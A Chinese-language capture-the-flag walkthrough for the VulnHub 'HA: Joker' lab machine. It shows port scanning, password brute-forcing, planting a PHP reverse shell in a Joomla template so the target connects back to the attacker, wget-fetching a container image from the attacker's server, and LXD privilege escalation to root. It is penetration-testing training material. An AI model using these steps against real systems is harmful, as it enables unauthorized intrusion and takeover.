靶机

https://www.vulnhub.com/entry/ha-joker,379/

前期准备

运行环境:VM Workstation,VM Esxi

目标

获取 root 权限并且读取/root/final.txt

主机信息

在 VM Workstation 中打开导入的虚拟机,并打开 kali 运行命令:netdiscover -r 192.168.32.0/24

获取IP

可知当前靶机 IP 为192.168.32.141

服务发现

Nmap走一波

1
nmap -sV -A -O -sS -p1-65535 192.168.32.141

Nmap扫描

发现开了80,8080

目录枚举

1
python3 dirsearch.py -u http://192.168.32.141/ -e php,html,js,json,.txt

目录枚举

1
dirb http://192.168.32.141/ -X php,html,js,json,.txt

目录枚举

探测Web服务

访问 http://192.168.32.141/secret.txt

secret

访问 http://192.168.32.141:8080

8080

口令爆破

根据 secret.txt 中的提示信息,将/usr/share/wordlists/rockyou.txt.gz解压并截取前100作为口令,用户名取joker

1
head -n 100 rockyou.txt > dict.txt

使用 burpsuite 进行爆破

爆破

爆破

爆破

爆破

爆破

得到用户名 joker,口令 hannah

访问 http://192.168.32.141:8080 ,输入用户名与口令后,发现是 joomla 的 CMS

主页

Getshell

访问 http://192.168.32.141:8080/administrator ,进入后台输入默认用户名与口令:joomla 登录后台

后台

在 Extensions(扩展)菜单项选择模板管理,打开 beez3 模板,编辑 index.php 获取 webshell

将 index.php 里的代码替换为 kali:/usr/share/webshells/php/php-reverse-shell.php 的代码,修改 IP 保存

webshell

kali 监听 1234 端口,访问http://192.168.32.141:8080 (主页)获取 shell

shell

得到反弹 shell,尝试使用 python pty 获取交互式 shell:

1
2
python -c 'import pty;pty.spawn("/bin/bash")' 或 python3 -c 'import pty;pty.spawn("/bin/bash")'
id

shell

提权

使用 LXD 提升权限,kali 执行以下操作:

1
2
3
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine

lxd提权

注意:此处编译 alpine 时最好挂个梯子,否则速度感人

使用 Python 开启 http 服务

1
2
ls
python -m SimpleHTTPServer

lxd提权

靶机 shell 执行以下操作:

1
2
3
wget http://192.168.32.129:8000/alpine-v3.10-x86_64-20191218_2258.tar.gz
lxc image import ./alpine-v3.10-x86_64-20191218_2258.tar.gz --alias myimage
lxc image list

lxd提权

最后,靶机 shell 执行以下命令获取 flag

1
2
3
4
5
6
7
8
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
id
cd /mnt/root/root
ls
cat final.txt

lxd提权

参考:

https://www.hackingarticles.in/ha-joker-vulnhub-walkthrough/